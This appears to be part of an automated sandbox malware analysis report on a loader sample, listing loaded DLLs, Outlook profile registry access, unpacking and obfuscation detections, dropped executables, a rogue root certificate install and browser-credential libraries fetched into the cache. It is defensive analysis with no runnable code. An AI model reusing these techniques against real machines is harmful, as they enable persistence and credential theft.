Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: rasadhlp.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: fwpuclnt.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: schannel.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: mskeyprotect.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: ncryptsslp.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: edputil.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: urlmon.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: iertutil.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: srvcli.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: netutils.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: windows.staterepositoryps.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: wintypes.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: appresolver.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: bcp47langs.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: slc.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: sppc.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: onecorecommonproxystub.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: onecoreuapcommonproxystub.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: apphelp.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: aclayers.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: mpr.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: sfc.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: sfc_os.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: sspicli.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: wininet.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: rstrtmgr.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: ncrypt.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: ntasn1.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: iertutil.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: windows.storage.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: wldp.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: profapi.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: winhttp.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: mswsock.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: iphlpapi.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: winnsi.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: urlmon.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: srvcli.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: netutils.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: dpapi.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: cryptbase.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: ntmarta.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: mozglue.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: wsock32.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: vcruntime140.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: msvcp140.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: vcruntime140.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: uxtheme.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: propsys.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: edputil.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: windows.staterepositoryps.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: wintypes.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: appresolver.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: bcp47langs.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: slc.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: userenv.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: sppc.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: onecorecommonproxystub.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: onecoreuapcommonproxystub.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: pcacli.dll
Source: C:\Users\user\AppData\Local\Temp\is-9E297.tmp\PsIhedmEA44FNRssEU8V9OlH.tmp	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\is-9E297.tmp\PsIhedmEA44FNRssEU8V9OlH.tmp	Section loaded: mpr.dll
Source: C:\Users\user\AppData\Local\Temp\is-9E297.tmp\PsIhedmEA44FNRssEU8V9OlH.tmp	Section loaded: version.dll
Source: C:\Users\user\AppData\Local\Temp\is-9E297.tmp\PsIhedmEA44FNRssEU8V9OlH.tmp	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\Temp\is-9E297.tmp\PsIhedmEA44FNRssEU8V9OlH.tmp	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\is-9E297.tmp\PsIhedmEA44FNRssEU8V9OlH.tmp	Section loaded: textinputframework.dll
Source: C:\Users\user\AppData\Local\Temp\is-9E297.tmp\PsIhedmEA44FNRssEU8V9OlH.tmp	Section loaded: coreuicomponents.dll
Source: C:\Users\user\AppData\Local\Temp\is-9E297.tmp\PsIhedmEA44FNRssEU8V9OlH.tmp	Section loaded: coremessaging.dll
Source: C:\Users\user\AppData\Local\Temp\is-9E297.tmp\PsIhedmEA44FNRssEU8V9OlH.tmp	Section loaded: ntmarta.dll
Source: C:\Users\user\AppData\Local\Temp\is-9E297.tmp\PsIhedmEA44FNRssEU8V9OlH.tmp	Section loaded: wintypes.dll
Source: C:\Users\user\AppData\Local\Temp\is-9E297.tmp\PsIhedmEA44FNRssEU8V9OlH.tmp	Section loaded: wintypes.dll
Source: C:\Users\user\AppData\Local\Temp\is-9E297.tmp\PsIhedmEA44FNRssEU8V9OlH.tmp	Section loaded: wintypes.dll
Source: C:\Users\user\AppData\Local\Temp\is-9E297.tmp\PsIhedmEA44FNRssEU8V9OlH.tmp	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\is-9E297.tmp\PsIhedmEA44FNRssEU8V9OlH.tmp	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\is-9E297.tmp\PsIhedmEA44FNRssEU8V9OlH.tmp	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\is-9E297.tmp\PsIhedmEA44FNRssEU8V9OlH.tmp	Section loaded: shfolder.dll
Source: C:\Users\user\AppData\Local\Temp\is-9E297.tmp\PsIhedmEA44FNRssEU8V9OlH.tmp	Section loaded: rstrtmgr.dll
Source: C:\Users\user\AppData\Local\Temp\is-9E297.tmp\PsIhedmEA44FNRssEU8V9OlH.tmp	Section loaded: ncrypt.dll
Source: C:\Users\user\AppData\Local\Temp\is-9E297.tmp\PsIhedmEA44FNRssEU8V9OlH.tmp	Section loaded: ntasn1.dll
Source: C:\Users\user\AppData\Local\Temp\is-9E297.tmp\PsIhedmEA44FNRssEU8V9OlH.tmp	Section loaded: msacm32.dll
Source: C:\Users\user\AppData\Local\Temp\is-9E297.tmp\PsIhedmEA44FNRssEU8V9OlH.tmp	Section loaded: winmmbase.dll
Source: C:\Users\user\AppData\Local\Temp\is-9E297.tmp\PsIhedmEA44FNRssEU8V9OlH.tmp	Section loaded: winmmbase.dll
Source: C:\Users\user\AppData\Local\Temp\is-9E297.tmp\PsIhedmEA44FNRssEU8V9OlH.tmp	Section loaded: textshaping.dll
Source: C:\Users\user\AppData\Local\Temp\is-9E297.tmp\PsIhedmEA44FNRssEU8V9OlH.tmp	Section loaded: riched20.dll
Source: C:\Users\user\AppData\Local\Temp\is-9E297.tmp\PsIhedmEA44FNRssEU8V9OlH.tmp	Section loaded: usp10.dll
Source: C:\Users\user\AppData\Local\Temp\is-9E297.tmp\PsIhedmEA44FNRssEU8V9OlH.tmp	Section loaded: msls31.dll
Source: C:\Users\user\AppData\Local\Temp\is-9E297.tmp\PsIhedmEA44FNRssEU8V9OlH.tmp	Section loaded: sspicli.dll

Source: C:\Users\user\Desktop\gobEmOm5sr.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{0EE7644B-1BAD-48B1-9889-0281C206EB85}\InprocServer32

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\is-9E297.tmp\PsIhedmEA44FNRssEU8V9OlH.tmp

Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion RegisteredOwner

Source: C:\Users\user\AppData\Local\Temp\is-9E297.tmp\PsIhedmEA44FNRssEU8V9OlH.tmp

Window found: window name: TMainForm

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Users\user\Desktop\gobEmOm5sr.exe

File opened: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorrc.dll

Jump to behavior

Source: C:\Users\user\Documents\iofolko5\lenTsqDIajevXTuJaJ03oKGb.exe

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\13.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000001

Source: C:\Users\user\AppData\Local\Temp\is-9E297.tmp\PsIhedmEA44FNRssEU8V9OlH.tmp

Registry value created: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\NewStar_is1

Source: gobEmOm5sr.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR

Source: gobEmOm5sr.exe

Static PE information: Virtual size of .text is bigger than: 0x100000

Source: gobEmOm5sr.exe

Static file information: File size 7097856 > 1048576

Source: gobEmOm5sr.exe

Static PE information: Raw size of .text is bigger than: 0x100000 < 0x659a00

Source: gobEmOm5sr.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE

Source: gobEmOm5sr.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG

Source:	Binary string: \??\C:\Windows\symbols\exe\premium_gitrep.pdbe source: yh8OwfLgsaGOEy8sLU5UpJIK.exe, 00000008.00000002.2249226369.0000000001207000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: BitLockerToGo.pdb source: JJdIaooFQpkpcWNUCJ71mJDj.exe, 0000000A.00000002.2204897517.0000000001934000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: C:\Users\press\AppData\Local\Temp\Report.A66214F7-6635-4084-8609-050NK772Dll\obj\Debug\sXnMStC.pdbG source: REaoHTwA9AqN_cDvubi9mxZt.exe, 00000006.00000002.2332767463.00000000058C0000.00000004.08000000.00040000.00000000.sdmp, REaoHTwA9AqN_cDvubi9mxZt.exe, 00000006.00000002.2152537664.0000000003D79000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: newPrime_cloud.pdb source: 8LEi0YA5qqlYpHd7zimCU8lz.exe, 00000009.00000002.2225232174.000000000158E000.00000004.00000020.00020000.00000000.sdmp, 8LEi0YA5qqlYpHd7zimCU8lz.exe, 00000009.00000000.1923341342.0000000000BE2000.00000002.00000001.01000000.0000000B.sdmp
Source:	Binary string: \??\C:\Users\user\Documents\iofolko5\8LEi0YA5qqlYpHd7zimCU8lz.PDBf1 source: 8LEi0YA5qqlYpHd7zimCU8lz.exe, 00000009.00000002.2225232174.0000000001556000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: n<C:\Windows\premium_gitrep.pdb source: yh8OwfLgsaGOEy8sLU5UpJIK.exe, 00000008.00000002.2233127778.0000000000F39000.00000004.00000010.00020000.00000000.sdmp
Source:	Binary string: PE.pdb source: gobEmOm5sr.exe, 00000000.00000002.1663150655.0000000005790000.00000004.08000000.00040000.00000000.sdmp, REaoHTwA9AqN_cDvubi9mxZt.exe, 00000006.00000002.2152537664.0000000003D79000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: BitLockerToGo.pdbGCTL source: JJdIaooFQpkpcWNUCJ71mJDj.exe, 0000000A.00000002.2204897517.0000000001934000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: C:\Users\press\AppData\Local\Temp\Report.A66214F7-6635-4084-8609-050NK772Dll\obj\Debug\wMwlL.pdb source: gobEmOm5sr.exe, 00000000.00000002.1663531403.0000000005A90000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: premium_gitrep.pdb source: yh8OwfLgsaGOEy8sLU5UpJIK.exe, 00000008.00000000.1922223189.00000000007C2000.00000002.00000001.01000000.0000000A.sdmp, yh8OwfLgsaGOEy8sLU5UpJIK.exe, 00000008.00000002.2249226369.0000000001256000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\symbols\exe\newPrime_cloud.pdb source: 8LEi0YA5qqlYpHd7zimCU8lz.exe, 00000009.00000002.2225232174.000000000158E000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Users\user\Documents\iofolko5\newPrime_cloud.pdb source: 8LEi0YA5qqlYpHd7zimCU8lz.exe, 00000009.00000002.2225232174.0000000001556000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Users\user\Documents\iofolko5\premium_gitrep.pdbFk<W source: yh8OwfLgsaGOEy8sLU5UpJIK.exe, 00000008.00000002.2249226369.0000000001207000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\symbols\dll\mscorlib.pdb source: 8LEi0YA5qqlYpHd7zimCU8lz.exe, 00000009.00000002.2225232174.000000000153D000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: premium_gitrep.pdbx source: yh8OwfLgsaGOEy8sLU5UpJIK.exe, 00000008.00000000.1922223189.00000000007C2000.00000002.00000001.01000000.0000000A.sdmp, yh8OwfLgsaGOEy8sLU5UpJIK.exe, 00000008.00000002.2249226369.0000000001256000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: githubsoft.pdb source: gobEmOm5sr.exe, 00000000.00000000.1647082311.0000000000842000.00000002.00000001.01000000.00000003.sdmp
Source:	Binary string: mscorlib.resources.pdbV source: yh8OwfLgsaGOEy8sLU5UpJIK.exe, 00000008.00000002.2249226369.0000000001207000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\mscorlib.pdb source: 8LEi0YA5qqlYpHd7zimCU8lz.exe, 00000009.00000002.2225232174.0000000001556000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: BotClient.pdb source: REaoHTwA9AqN_cDvubi9mxZt.exe, 00000006.00000000.1922131393.0000000000282000.00000002.00000001.01000000.00000008.sdmp
Source:	Binary string: ud.pdbWindowsPowerShell\Modules;C:\Windows\system32\WindowsPowe source: 8LEi0YA5qqlYpHd7zimCU8lz.exe, 00000009.00000002.2225232174.000000000158E000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: 0dows\symbols\dll\mscorlib.pdb source: yh8OwfLgsaGOEy8sLU5UpJIK.exe, 00000008.00000002.2249226369.00000000011F2000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Users\user\Documents\iofolko5\newPrime_cloud.pdbN source: 8LEi0YA5qqlYpHd7zimCU8lz.exe, 00000009.00000002.2225232174.0000000001556000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\press\AppData\Local\Temp\Report.A66214F7-6635-4084-8609-050NK772Dll\obj\Debug\sXnMStC.pdb source: REaoHTwA9AqN_cDvubi9mxZt.exe, 00000006.00000002.2332767463.00000000058C0000.00000004.08000000.00040000.00000000.sdmp, REaoHTwA9AqN_cDvubi9mxZt.exe, 00000006.00000002.2152537664.0000000003D79000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: githubsoft.pdb8 source: gobEmOm5sr.exe, 00000000.00000000.1647082311.0000000000842000.00000002.00000001.01000000.00000003.sdmp
Source:	Binary string: n<C:\Windows\newPrime_cloud.pdb source: 8LEi0YA5qqlYpHd7zimCU8lz.exe, 00000009.00000002.2221433328.00000000012F9000.00000004.00000010.00020000.00000000.sdmp

Data Obfuscation

Detected unpacking (changes PE section rights)

Source: C:\Users\user\Documents\iofolko5\lenTsqDIajevXTuJaJ03oKGb.exe	Unpacked PE file: 17.2.lenTsqDIajevXTuJaJ03oKGb.exe.a60000.0.unpack :EW;.rsrc :W;.idata :W; :EW;lxojhmjk:EW;mdoopayt:EW;.taggant:EW; vs :ER;.rsrc :W;.idata :W; :EW;lxojhmjk:EW;mdoopayt:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\NewStar\newstar.exe	Unpacked PE file: 39.2.newstar.exe.400000.0.unpack .text:ER;.yhead8:R;.data:W;.rsrc:R;.zhead8:EW; vs .text:ER;.rdata:R;.data:W;.vmp0:ER;.rsrc:R;

Detected unpacking (overwrites its own PE header)

Source: C:\Users\user\AppData\Local\NewStar\newstar.exe

Unpacked PE file: 39.2.newstar.exe.400000.0.unpack

.NET source code contains method to dynamically call methods (often used by packers)

Source: 0.2.gobEmOm5sr.exe.5790000.5.raw.unpack, Ca01BQGh9DxiBOJwup.cs

.Net Code: typeof(Marshal).GetMethod("GetDelegateForFunctionPointer", new Type[2]{typeof(IntPtr),typeof(Type)})

Source: gobEmOm5sr.exe

Static PE information: 0xCFD7C7EE [Mon Jul 1 02:05:34 2080 UTC]

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_00565A60 push ecx; ret	2_2_00565A73
Source: C:\Users\user\Documents\iofolko5\PsIhedmEA44FNRssEU8V9OlH.exe	Code function: 7_2_004065C8 push 00406605h; ret	7_2_004065FD
Source: C:\Users\user\Documents\iofolko5\PsIhedmEA44FNRssEU8V9OlH.exe	Code function: 7_2_004040B5 push eax; ret	7_2_004040F1
Source: C:\Users\user\Documents\iofolko5\PsIhedmEA44FNRssEU8V9OlH.exe	Code function: 7_2_00408104 push ecx; mov dword ptr [esp], eax	7_2_00408109
Source: C:\Users\user\Documents\iofolko5\PsIhedmEA44FNRssEU8V9OlH.exe	Code function: 7_2_00404185 push 00404391h; ret	7_2_00404389
Source: C:\Users\user\Documents\iofolko5\PsIhedmEA44FNRssEU8V9OlH.exe	Code function: 7_2_00404206 push 00404391h; ret	7_2_00404389
Source: C:\Users\user\Documents\iofolko5\PsIhedmEA44FNRssEU8V9OlH.exe	Code function: 7_2_0040C218 push eax; ret	7_2_0040C219
Source: C:\Users\user\Documents\iofolko5\PsIhedmEA44FNRssEU8V9OlH.exe	Code function: 7_2_004042E8 push 00404391h; ret	7_2_00404389
Source: C:\Users\user\Documents\iofolko5\PsIhedmEA44FNRssEU8V9OlH.exe	Code function: 7_2_00404283 push 00404391h; ret	7_2_00404389
Source: C:\Users\user\Documents\iofolko5\PsIhedmEA44FNRssEU8V9OlH.exe	Code function: 7_2_00408F38 push 00408F6Bh; ret	7_2_00408F63
Source: C:\Users\user\Documents\iofolko5\lenTsqDIajevXTuJaJ03oKGb.exe	Code function: 17_2_61EDA2A8 push ds; retf	17_2_61EDA2AE

Source: 0.2.gobEmOm5sr.exe.5790000.5.raw.unpack, KASIU9JAUDHSAHJDUHUDASUDUADAI0DKSFISJFUDHUFHHYU.cs	High entropy of concatenated method names: 'OMFx84NSU3Aj89yeQCX', 'LAX01SNrXLuYFtkUKZE', 'iy9SsMNm29gB450FtMd', 'dBJrEtNGIa6qVBG9EBQ', 'rVg9gbNXhuTUCax3Faw', 'SqGmZ9Nwos9SN5Q7lkZ', 'GSe2iiNdiIejkDmaBS8', 'LqmMVpNxj2A5NG3wBxw', 'gYNBsNNfxAmxgoLk8AY', 'YxEaVbN7rCtxCfwOIGb'
Source: 0.2.gobEmOm5sr.exe.5790000.5.raw.unpack, psm102r62ZNKXfMgLP.cs	High entropy of concatenated method names: 'OPSws322xfEh0', 'MODr39Nq5MiabxlX31k', 'iQoS09NJ2QNv2l3Nldp', 'CJQKDaN3RqE5Z376xIt', 'pj3HvaNg4CuSslIZxHe', 'aGob5JNuDhjrh89tMF7', 'OJrIsVNcKpdpxmnyCdy', 'nvy9T7NQKdlZSSpjdYZ', 'VWEEy8N4s3YgJEZssn2', 'hiS9r5NbbCsErEIxnl5'
Source: 0.2.gobEmOm5sr.exe.5790000.5.raw.unpack, Component1.cs	High entropy of concatenated method names: 'Dispose', 'c2ZnNKXfM', 'KdItahZbaqrPOGXMMIH', 'F6Y0glZWI5sNge0KygR', 'oiohBeZubh6iBGSEkrx', 'eHnLj8Z41B6OG7M1JDy', 'N4gwHqZEFQ33Xh9XSL4', 'UsxTXAZipbL0y4O7ig6', 'lWEAf5ZlGZ9tBNchonB'
Source: 0.2.gobEmOm5sr.exe.5790000.5.raw.unpack, UserControl1.cs	High entropy of concatenated method names: 'Dispose', 'F2igcbrUX', 'XHGgAUZzLmxCg9LHS8J', 'S8TWddN28E6t6e1W5DI', 'nxnywSZIvTRDeZkh3vn', 'Lg0nedZDohNDcCeYfhA', 'MCqqDaNZbmCaRq0a6S3', 'pte1vQNNcjSXyOcA1wm', 'FihZepNhpEadD2XS1mj', 'v4bBBrN14WWJwYVFB1v'
Source: 0.2.gobEmOm5sr.exe.5790000.5.raw.unpack, Hg0i8ysWBkmOQpOTDa.cs	High entropy of concatenated method names: 'BBiryfpB2', 'KI0GlCWQr', 'nZK2JcQAs', 'lkTeKjlkc', 'RYq1Z9XkI', 'XOTf7va1f', 'Dispose', 'YAroKCCXX', 'acfjChBBkMo7PdIk7G', 'MFS1TWc0IT345kpNHi'
Source: 0.2.gobEmOm5sr.exe.5790000.5.raw.unpack, Ca01BQGh9DxiBOJwup.cs	High entropy of concatenated method names: 'Qr5ud0NzY98AOC9xd95', 'G0Y0Wrh2oh1RhmJKSXb', 'X83AawNIkZucWFsrjDy', 'uZXqgXNDChJaWlp6NOY', 'ce4DmfsmSrOT856tDgfrkMb', 'qNiCQfbwXf', 'TgalQGhh96LsT9w8Qmj', 'Fw7QQNh18VntnfmGixE', 'ILFoXIhoc2Bm12rmWG4', 'AZNUskhyETNOaYTT1jk'

Persistence and Installation Behavior

Drops PE files to the document folder of the user

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\Users\user\Documents\iofolko5\OvoRF_A3QBH3keQBtcOqN7Fa.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\Users\user\Documents\iofolko5\wvASxpczH5zLyfxXnILhiH8_.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\Users\user\Documents\iofolko5\PsIhedmEA44FNRssEU8V9OlH.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\Users\user\Documents\iofolko5\2Umx78uafM0WA03fzJyYYhBa.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\Users\user\Documents\iofolko5\8LEi0YA5qqlYpHd7zimCU8lz.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\Users\user\Documents\iofolko5\1YtOZF0EeqgcR_ddwAXkTcuY.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\Users\user\Documents\iofolko5\yh8OwfLgsaGOEy8sLU5UpJIK.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\Users\user\Documents\iofolko5\7wpHB_IZvVwIDf0EgO_TfPH6.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\Users\user\Documents\iofolko5\lenTsqDIajevXTuJaJ03oKGb.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\Users\user\Documents\iofolko5\REaoHTwA9AqN_cDvubi9mxZt.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\Users\user\Documents\iofolko5\JJdIaooFQpkpcWNUCJ71mJDj.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\Users\user\Documents\iofolko5\QUh1lM2wAJwuyCkYckhrDFwz.exe	Jump to dropped file

Installs new ROOT certificates

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Registry value created: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\F1A578C4CB5DE79A370893983FD4DA8B67B2B064 Blob

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZJCZETOO\vcruntime140[1].dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\lamp[1].exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\ProgramData\mozglue.dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZJCZETOO\nss3[1].dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\Users\user\Documents\iofolko5\2Umx78uafM0WA03fzJyYYhBa.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZJCZETOO\freebl3[1].dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-9E297.tmp\PsIhedmEA44FNRssEU8V9OlH.tmp	File created: C:\Users\user\AppData\Local\NewStar\newstar.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\Users\user\Documents\iofolko5\1YtOZF0EeqgcR_ddwAXkTcuY.exe	Jump to dropped file
Source: C:\Users\user\Documents\iofolko5\lenTsqDIajevXTuJaJ03oKGb.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\mozglue[1].dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZJCZETOO\66d1b7f7f3765_Front[1].exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZJCZETOO\lnef[1].exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\Users\user\Documents\iofolko5\7wpHB_IZvVwIDf0EgO_TfPH6.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\Users\user\AppData\Local\Temp\filename.exe	Jump to dropped file
